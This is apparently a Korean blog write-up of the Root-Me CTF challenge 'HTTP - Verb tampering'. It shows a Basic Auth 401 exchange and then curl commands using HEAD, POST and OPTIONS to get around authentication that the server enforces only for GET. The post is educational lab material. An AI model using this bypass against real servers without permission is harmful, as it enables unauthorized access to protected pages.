ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • HTTP - Verb tampering
    Hacking/CTF 문제 풀이 2025. 7. 7. 23:45
    728x90
    반응형

    Working through problems

    접속 시 기본 인증(Basic Auth) 창이 표시되어 인증이 필요한 페이지임을 확인하였습니다.

    이를 Burp Suite를 통해 분석한 결과 HTTP 요청/응답을 아래와 같이 확인할 수 있었습니다.

    ✅ 요청

    GET /web-serveur/ch8/ HTTP/1.1
    Host: challenge01.root-me.org
    Accept-Language: ko-KR,ko;q=0.9
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    

    ✅ 응답

    HTTP/1.1 401 Unauthorized
    Server: nginx
    Date: Sun, 06 Jul 2025 15:25:38 GMT
    Content-Type: text/html; charset=UTF-8
    Connection: keep-alive
    WWW-Authenticate: Basic realm="My Realm"
    Content-Length: 646
    
    <html xmlns="http://www.w3.org/1999/xhtml"><head>
    <title>401 Authorization Required</title>
    </head><body><link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='/template/s.css' media='all' /><iframe id='iframe' src='https://www.root-me.org/?page=externe_header'></iframe>
    <h1>Authorization Required</h1>
    <p>This server could not verify that you
    are authorized to access the document
    requested.  Either you supplied the wrong
    credentials (e.g., bad password), or your
    browser doesn't understand how to supply
    the credentials required.</p>
    <hr/>
    <address>Apache Server at challenge01.root-me.org Port 80</address>
    
    </body></html>

    WWW-Authenticate 헤더는 서버가 클라이언트에게 Basic 인증을 요구함을 의미합니다. 이는 인증 우회 여부를 판단할 수 있는 핵심 지표입니다.

    문제명이 "HTTP - Verb Tampering"인 점을 참고하여 특정 메서드(GET) 에만 인증이 적용되고 다른 HTTP 메서드는 우회 가능할 가능성을 가정했습니다.

    따라서 다양한 HTTP 메서드(POST, HEAD, OPTIONS, PUT, DELETE 등)를 이용해 요청을 시도하였습니다.

    curl -X HEAD http://challenge01.root-me.org/web-serveur/ch8/ -i
    curl -X POST http://challenge01.root-me.org/web-serveur/ch8/ -i
    curl -X OPTIONS http://challenge01.root-me.org/web-serveur/ch8/ -i

    GET을 제외한 다른 HTTP 메서드로 요청한 결과 401 Unauthorized가 발생하지 않고 페이지 접근에 성공하는 것을 확인했습니다.

    이는 서버가 GET 요청에만 인증을 강제하고 다른 메서드에 대해서는 적절한 접근 제어를 적용하지 않은 것으로 해석할 수 있습니다.

    728x90
    반응형

    'Hacking > CTF 문제 풀이' 카테고리의 다른 글

    Nginx - Alias Misconfiguration  (0) 2025.07.07
    Install files  (0) 2025.07.07
    HTTP - Improper redirect  (0) 2025.07.07
    HTTP - POST  (0) 2025.07.07
    HTTP - Headers  (0) 2025.07.07
Designed by Tistory.